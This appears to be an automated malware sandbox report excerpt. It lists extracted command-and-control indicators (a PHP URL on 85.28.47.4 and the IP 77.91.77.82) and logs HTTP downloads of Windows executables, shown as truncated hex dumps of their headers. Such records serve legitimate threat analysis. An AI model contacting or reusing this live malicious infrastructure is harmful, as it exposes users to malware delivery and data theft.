
Source: Malware configuration extractor	URLs: 85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:31:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:32:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:32:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:32:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:32:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:32:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 28 Jun 2024 20:32:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
